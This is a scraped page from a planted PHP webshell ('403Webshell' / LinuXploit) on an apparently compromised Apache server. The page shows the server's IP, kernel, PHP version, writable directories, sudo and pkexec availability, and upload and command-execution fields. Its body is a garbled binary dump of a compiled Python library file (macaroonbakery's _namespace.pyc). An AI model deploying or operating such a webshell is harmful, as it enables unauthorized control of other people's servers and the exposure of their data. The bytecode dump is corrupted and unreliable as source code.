403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/macaroonbakery/checkers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/macaroonbakery/checkers/__pycache__/_namespace.cpython-310.pyc
o

�6�\U�@sJddlZddlmZddlmZGdd�d�Zdd�Zd	d
�Zdd�ZdS)
�N�)�error_caveat)�condition_with_prefixc@sJeZdZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�	NamespaceaHolds maps from schema URIs to prefixes.

    prefixes that are used to encode them in first party
    caveats. Several different URIs may map to the same
    prefix - this is usual when several different backwardly
    compatible schema versions are registered.
    NcCs0i|_|dur|D]}|�|||�q	dSdS�N)�_uri_to_prefix�register)�self�
uri_to_prefix�k�r�D/usr/lib/python3/dist-packages/macaroonbakery/checkers/_namespace.py�__init__s�zNamespace.__init__cCs|���d�S)z[Returns the namespace representation as returned by serialize
        :return: str
        �utf-8)�serialize_text�decode)r	rrr
�__str__szNamespace.__str__cCs|j|jkSr)r)r	�otherrrr
�__eq__szNamespace.__eq__cCsd|jdust|j�dkrdSt�t|j����}g}|D]
}|�|d||�qd�|��d�S)z�Returns a serialized form of the Namepace.

        All the elements in the namespace are sorted by
        URI, joined to the associated prefix with a colon and
        separated with spaces.
        :return: bytes
        Nr��:� r)	r�len�collections�OrderedDict�sorted�items�append�join�encode)r	�od�data�urirrr
r!szNamespace.serialize_textcCsRt|�std�||���t|�std�||���|j�|�dur'||j|<dSdS)z�Registers the given URI and associates it with the given prefix.

        If the URI has already been registered, this is a no-op.

        :param uri: string
        :param prefix: string
        z*cannot register invalid URI {} (prefix {})z,cannot register invalid prefix %q for URI %qN)�is_valid_schema_uri�KeyError�format�is_valid_prefix�
ValueErrorr�get)r	r"�prefixrrr
r1s�����zNamespace.registercCs|j�|�S)z� Returns the prefix associated to the uri.

        returns None if not found.
        :param uri: string
        :return: string
        )rr()r	r"rrr
�resolveDszNamespace.resolvecCs�|jdks
|jdkr|S|�|j�}|dur4td�|j|j��}|j|jkr2|�|j�}|dur2d}|}|dkr?t||j�|_d|_|S)a� Resolves the given caveat(string) by using resolve to map from its
        schema namespace to the appropriate prefix.
        If there is no registered prefix for the namespace, it returns an error
        caveat.
        If cav.namespace is empty or cav.location is non-empty, it returns cav
        unchanged.

        It does not mutate ns and may be called concurrently with other
        non-mutating Namespace methods.
        :return: Caveat object
        �Nz&caveat {} in unregistered namespace {})�	namespace�locationr*rr%�	conditionr)r	�cavr)�err_cavrrr
�resolve_caveatMs$��zNamespace.resolve_caveatr)�__name__�
__module__�__qualname__�__doc__rrrrrr*r1rrrr
r	s
	rcCst|�dkrdS|�d�dkS)z�Reports if uri is suitable for use as a namespace schema URI.

    It must be non-empty and it must not contain white space.

    :param uri string
    :return bool
    rFr���)r�find)r"rrr
r#osr#cCs|�d�dko
|�d�dkS)z~Reports if prefix is valid.

    It must not contain white space or semi-colon.
    :param prefix string
    :return bool
    rr6r)r7)r)rrr
r&|sr&cCs�t|t�r
|�d�}|��}i}|D]W}|�d�}|dkr&td�t|����|d|�||dd�}}t|�sEtd�t|�t|����t	|�sUtd	�t|�t|����||vretd
�t|�t|����|||<qt
|�S)z[ Deserialize a Namespace object.

    :param data: bytes or str
    :return: namespace
    rrr6zno colon in namespace field {}rrNz$invalid URI {} in namespace field {}z'invalid prefix {} in namespace field {}z duplicate URI {} in namespace {})�
isinstance�bytesr�split�rfindr'r%�reprr#r&r)r!�kvsr
�kv�ir"r)rrr
�deserialize_namespace�s8



����
r@)	r�_caveatr�_utilsrrr#r&r@rrrr
�<module>sf


Youez - 2016 - github.com/yon3zu
LinuXploit